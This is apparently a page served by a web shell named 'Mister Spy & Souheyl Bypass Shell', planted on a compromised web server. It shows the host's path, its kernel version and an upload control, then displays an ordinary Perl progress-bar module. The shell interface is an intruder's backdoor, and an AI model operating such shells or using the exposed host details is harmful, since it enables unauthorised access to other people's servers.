Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/10_customer2017/1204__intel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/10_customer2017/1204__intel/ProgressBar1.pm

package ProgressBar;

use strict;
use String_ProgressBar;

#use OptiCm::Notifications qw(
#    progressbar_start
#    progressbar_step
#    progressbar_finish
#);

use Data::Dumper;

#  This module provides an implementatiuon of Progress Bars.
#  A Progress Bar consists of:
#
#    a)  an effort still done
#    b)  the progress in percent
#    c)  the plan of work still to be done
#
#
#
#   Creates a new Progress Bar recursively:
#
#      my $bar = OptiCm::Engine::Model::Progress::Bar->new()->remark("Test Bar");
#
#         my $bar1 = $bar->new(3)->remark("Step 1");
#         my $bar2 = $bar->new()->remark("Step 2");
#      
#            my $bar21 = $bar2->new(1)->remark("Step 2, Substep 1");
#            my $bar22 = $bar2->new()->remark("Step 2, Substep 2");
#      
#                        $bar2->new(3,6,2,2);
#
#         my $bar3 = $bar->new(5)->remark("Step 3");
#
#    
#   Stepping through the plan:
#
#   $bar2->step()
#
#   $bar22->step()
#
#   $bar->step()
#
#   With this operation all subtasks BEFORE the task will be added to
#   the DONE effort.


#************************************************************************

sub new {

   my $self  = shift;
   my $class = ref($self) || $self;
   my @pars  = @_;
   @pars     = (0) if (!@pars);

   my $o; my $obj;
   $self->{'PLAN'} = [] if (ref($self) and (!(ref($self->{'PLAN'}))));
   foreach $o (@pars) {
      $obj = {};
      $obj->{'PARENT'}     = $self;
      $obj->{'STEPS_DONE'} = 1;
      $obj->{'PLAN'}       = $o;
      $obj->{'LEVEL'}      = 1;
      bless($obj,$class);
      if (ref($self)) {
         push(@{$self->{'PLAN'}},$obj);
         $obj->{'LEVEL'} = $self->{'LEVEL'} + 1;
      }
   }
   return($obj);
   
}
   
#******************************************************************************

sub subtask {

   my $self   = shift;
   my $weight = shift;
   my @pars   = @_;
   
   my $first_subtask = $self;
   if (ref($first_subtask->{'PLAN'})) {
      return($first_subtask->{'PLAN'}->[0]->subtask($weight,@pars));
   }
   
   if ($weight == 0) {
      $weight = $first_subtask->{'PLAN'};
   }
   if ($weight > 0) {
      my $sum = 0;
      map { $sum = $sum + $_ }         @pars;
      map { $_ = $_ * $weight / $sum } @pars;
   }
   $first_subtask->new(@pars);
   return($first_subtask);
   
}
   
#******************************************************************************

#  Declares all steps BEFORE as been done and adds that
#  efforts to the done work


sub jump {

   my $self = shift;
   
   my $o;
   $self->{'DONE1'} = shift;
   
   if (ref($self->{'PLAN'})) {
      if (@{$self->{'PLAN'}}) {
         while (@{$self->{'PLAN'}}) {
            $o = $self->{'PLAN'}->[0];
            last if (exists $o->{'DONE1'});
            $o->clear_bar();
            shift(@{$self->{'PLAN'}});
            $self->{'STEPS_DONE'} = $self->{'STEPS_DONE'} + 1;
            $self->{'DONE1'}     = $self->{'DONE1'} + $o->todo();
         }
         if ($self->{'PROGRESS'} < 1) {
            $self->{'DONE1'}    = $self->{'DONE1'}    + $o->{'DONE1'};
            $self->{'PROGRESS'} = $self->{'PROGRESS'} + $self->{'DONE1'} /
                                     ($self->{'DONE1'} + $self->todo) * ( 1 - $self->{'PROGRESS'} );
            $self->{'DONE'} = $self->{'DONE'} + $self->{'DONE1'};
         }
      }
   }
   $self->{'PARENT'}->jump() if (ref($self->{'PARENT'}));
   delete ($self->{'DONE1'});
   
}

#***************************************************************

#  Steps to the next sub-task. If that does not exist,
#  adds a sub-task with weight 0 and steps to it

sub step {

   my $self = shift;

   if ( ref($self->{'PLAN'}) ) {
      if ($#{$self->{'PLAN'}} == 0) {
         $self->new(0) if ($self->{'PLAN'}->[0]->todo() > 0);
      }
      if ($#{$self->{'PLAN'}} > 0) {
         return ( $self->{'PLAN'}->[1]->jump() );
      }
   }
   
   return( $self->jump() );

}


#*****************************************************************

#  Work yet have to be done

sub todo {

   my $self = shift;

   return($self->{'PLAN'}) if (!(ref($self->{'PLAN'})));

   my $o; my $erg = 0;
   foreach $o (@{$self->{'PLAN'}}) {
      $erg = $erg + $o->todo();
   }
   return($erg);
   
}

#*********************************************************************************

sub remark        { my $self = shift; $self->{'REMARK'} = shift || $self->{'REMARK'}; }
sub done          { my $self = shift; return($self->{'DONE'}); }
sub steps_done    { my $self = shift; return($self->{'STEPS_DONE'}); }
sub steps_planned { my $self = shift; return($#{$self->{'PLAN'}}); }


#**************************************************************************
#**************************************************************************

sub planSubTask {

   my $self   = shift;
   my $pars   = { @_ };

   my $weight = $pars->{'taskWeight'} || 1;
   my $task   = $self->new($weight);
   if ($pars->{'taskName'}) {
      if (!($pars->{'taskLabel'})) { $pars->{'taskLabel'} = $pars->{'taskName'} }
#      $taskList->{ $pars->{'taskName'} } = $task;
   }
   if ($pars->{'taskLabel'}) {
      $task->remark($pars->{'taskLabel'});
   }
   
   return($task);
   
}

#***************************************************************************

#  Starts a ProgressBar on this item

sub start {

   my $self = shift;
   my $text = shift;
  
   if (!($self->{'SHOWPROGRESS'})) {
      if ($text) {
         $self->{'SHOWPROGRESS'} = $text;
         $self->progressbar1_start( $self->{'LEVEL'}, $self->{'REMARK'},  $text );
      }
   }
   
   
}
          
#***************************************************************************

#  Closes the ProgressBar on this item

sub finish {

   my $self = shift;
  
   if ($self->{'SHOWPROGRESS'}) {
      $self->{'SHOWPROGRESS'} = "";
      $self->progressbar1_finish($self->{'LEVEL'});
   }
   
}
          
#***************************************************************************

sub clear_bar { my $self = shift; $self->finish(); }
sub DESTROY   { my $self = shift; $self->clear_bar(); }

#***************************************************************************

sub startStep {

   my $self  = shift;
   my $text  = shift;
    
   $self->step();
   $self->progressbar1_step($text);

}

#**************************************************************

sub progressbar1_start {

   my $self    = shift;
   my $level   = shift;
   my $remark  = shift;
   my $text    = shift;

   if (ref($self->{'PARENT'})) {
      return( $self->{'PARENT'}->progressbar1_start($level,$remark,$text) );
   }

   $self->{'BAR'}->{$level} = [0,0,$remark,0,0,$text];
   $self->printbar();
   
}

   
#**************************************************************

sub progressbar1_step {

   my $self   = shift;
   my $text   = shift;
   my @pars   = ( @_, [$self->{'LEVEL'},$self->done(),$self->todo(),
                       $self->remark(),$self->steps_done(),
                       $self->steps_planned()+$self->steps_done(),$text]);
                       
   if (ref($self->{'PARENT'})) {
      return( $self->{'PARENT'}->progressbar1_step("",@pars) );
   }

   my $o; my $level;
   foreach $o (@pars) {
      $level = shift(@$o);
      if (exists($self->{'BAR'}->{$level})) {
         $self->{'BAR'}->{$level} = [ @$o ];
      }
   }
   $self->printbar();
   
}

   
#**************************************************************

sub progressbar1_finish {

   my $self   = shift;
   my $level  = shift;
   
   if (ref($self->{'PARENT'})) {
      return( $self->{'PARENT'}->progressbar1_finish($level) );
   }
   
   delete ( $self->{'BAR'}->{$level} );
   delete ( $self->{'TEXT'}->{$level} );
   $self->printbar() if ($self->{'GRAFIK'});
   
}

#**************************************************************

sub printbar {

   my $self = shift;
   
   my $o; my $done; my $todo; my $remark; my $steps_done; my $steps_planned; my $text;
   my $level; my $gross; my $steps_gross; my $quotient; my $bar; my $text;
   
   if ($self->{'GRAFIK'}) {
   
      1;
      
   } else {

      system("clear"); print "\n" x 10;
      foreach $level (sort {$a <=> $b} keys %{$self->{'BAR'}}) {

         $done          = $self->{'BAR'}->{$level}->[0];
         $todo          = $self->{'BAR'}->{$level}->[1];
         $gross         = $done + $todo;
         $remark        = $self->{'BAR'}->{$level}->[2];
         $steps_done    = $self->{'BAR'}->{$level}->[3];
         $steps_planned = $self->{'BAR'}->{$level}->[4];
         $steps_gross   = $steps_done + $steps_gross;
         $text          = $self->{'BAR'}->{$level}->[5];
         if ($text) {
            $self->{'TEXT'}->{$level} = $text;
         } else {
            $text = $self->{'TEXT'}->{$level};
         }
         $quotient      = 0;
         if ($gross != 0) { $quotient = $done/$gross; }
      
         print  $level . ". " . substr($remark." "x20,0,20) . " [" .
                ("=" x int( 30 * $quotient )) . (" " x (30 - int( 30 * $quotient))) .
                "]" . sprintf("%6.1f",100 * $quotient) .
                substr("  (" . $steps_done . "/" . $steps_planned . ")   "." "x13,0,13)
             . $text . "\n";
      }

   }   
    
}


#**************************************************************
#**************************************************************

sub newBar {

   my $self = shift;
   my @args = @_;
   unshift (@args,'taskLabel') if (@args % 2);

   my $pars = { @args };

   $pars->{'taskWeight'} = $pars->{'taskWeight'} || 1;
   if (!(ref($pars->{'plannedStepCount'}))) {
      $pars->{'plannedStepCount'} = $pars->{'plannedStepCount'} || 1;
      $pars->{'plannedStepCount'} = [-1, ( $pars->{'taskWeight'} ) x $pars->{'plannedStepCount'} ];
   }
   my $subtask = $self->subtask( $pars->{'plannedStepCount'} );
   
#   my $bar = "";
#   if ($taskList->{ $pars->{'taskName'} }) {
#      $bar = $taskList->{ $pars->{'taskName'} };
#   } else {
#      $bar = $self->new( $pars->{'taskWeight'} );
#   }
#   
   if ($pars->{'taskLabel'}) { $subtask->remark( $pars->{'taskLabel'} ); }
#   
#   if ($pars->{'plannedStepCount'}) {
#      $bar->new( ( $pars->{'taskWeight'} ) x $pars->{'plannedStepCount'} );
#   }
   
   if ($pars->{'showProgress'}) {
      $subtask->showProgress(".");
   }
   
   return( $subtask );
   
}

1;


bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net